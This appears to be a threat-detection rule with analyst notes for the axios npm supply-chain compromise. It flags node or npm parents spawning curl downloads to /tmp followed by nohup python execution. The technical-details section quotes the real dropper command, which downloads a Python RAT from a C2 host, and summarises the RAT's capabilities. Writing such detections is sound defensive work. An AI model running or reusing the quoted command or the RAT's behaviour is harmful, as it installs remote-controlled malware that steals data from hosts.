name: Axios Supply Chain Node Spawning curl Download of Python Script to tmp Analytic
category: 'Execution'
threatname: 'Command and Scripting Interpreter: Python'
functionality: 'Endpoint Management Systems'
description: |
Detects Node.js or npm processes spawning a shell that uses curl to download a Python
script to /tmp and execute it via nohup, consistent with the Linux payload delivery in
the axios supply chain compromise. The malicious setup.js dropper from plain-crypto-js@4.2.1
executes a single shell command: curl downloads the Python RAT (/tmp/ld.py) from the C2
(sfrclak[.]com:8000/6202033) and nohup executes it in the background. The Python RAT
uses only standard library modules, beacons every 60 seconds, supports arbitrary command
execution and binary injection to /tmp/.<hidden>, and reads system data from /proc/ and
/sys/class/dmi/id/. Notably, it does NOT establish persistence — a reboot clears it —
suggesting the attacker's primary targets on Linux are ephemeral CI/CD runners and
containers where transient credential access is sufficient. Sysmon For Linux event ID 1 and 3
are critical for effectively catching this behavior.
reference:
- https://www.huntress.com/blog/supply-chain-compromise-axios-npm-package
- https://gist.github.com/JohnHammond/96575799bd87ae64cddbc55634a6d32d
- https://socket.dev/blog/axios-npm-package-compromised
- https://github.com/fluffybunnies-h4x/FT-Linux-Sysmon-Config
labels:
- attack.execution
- attack.t1059.006
- attack.t1195.002
- axios
- plain-crypto-js
- supply_chain
- npm_lifecycle_hook
- linux_rat
logsource:
category: process_creation
product: linux
detection:
selection_parent_node:
ParentImage|endswith:
- '/node'
- '/node.js'
- '/npm'
- '/npx'
ParentCommandLine|contains:
- 'setup.js'
- 'postinstall'
- 'install'
selection_curl_to_tmp:
Image|endswith:
- '/curl'
- '/bash'
- '/sh'
ChildProcessCommandLine|contains|all:
- 'curl'
- '/tmp/'
selection_python_exec:
ChildProcessCommandLine|contains|all:
- 'nohup'
- 'python'
- '/tmp/'
condition: selection_parent_node and (selection_curl_to_tmp or selection_python_exec)
criticality: High
saveasthreat: true
violation_summary:
grouping_attribute: 'accountname'
level2_attribute: 'devicehostname'
level2_metadata_attributes:
TECHNICAL DETAILS:
Full Linux execution chain from setup.js:
node setup.js
→ sh -c "curl -s -o /tmp/ld.py -X POST -d 'packages.npm.org/product2' \
'http://sfrclak[.]com:8000/6202033' && nohup python3 /tmp/ld.py &"
Python RAT characteristics:
- 443 lines, stdlib only (http.client, subprocess, json, base64, os, platform)
- System enum: /proc/cpuinfo, /proc/meminfo, /sys/class/dmi/id/*
- Enumeration targets: ~, ~/.config, ~/Documents, ~/Desktop
- peinject on Linux: drops to /tmp/.<random6chars> (dot-prefix hidden), chmod 777, executes
- No persistence mechanism — designed for ephemeral CI/CD runner environments
- Same C2 protocol as Windows/macOS: HTTP POST, Base64 JSON, 60s heartbeat
IOC: /tmp/ld.py — SHA-256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf
False positives:
- Rare legitimate postinstall scripts may invoke curl and python
- The parent node + curl + /tmp/ + nohup python3 combination is high-fidelity
Policy building walkthrough can be found in this previous post:
Sysmon For Linux is CRITICAL for this detection to work
Here is the github repo I co-maintain to help security professionals who haven’t installed or worked with Sysmon For Linux get it up and running:
https://github.com/fluffybunnies-h4x/FT-Linux-Sysmon-Config
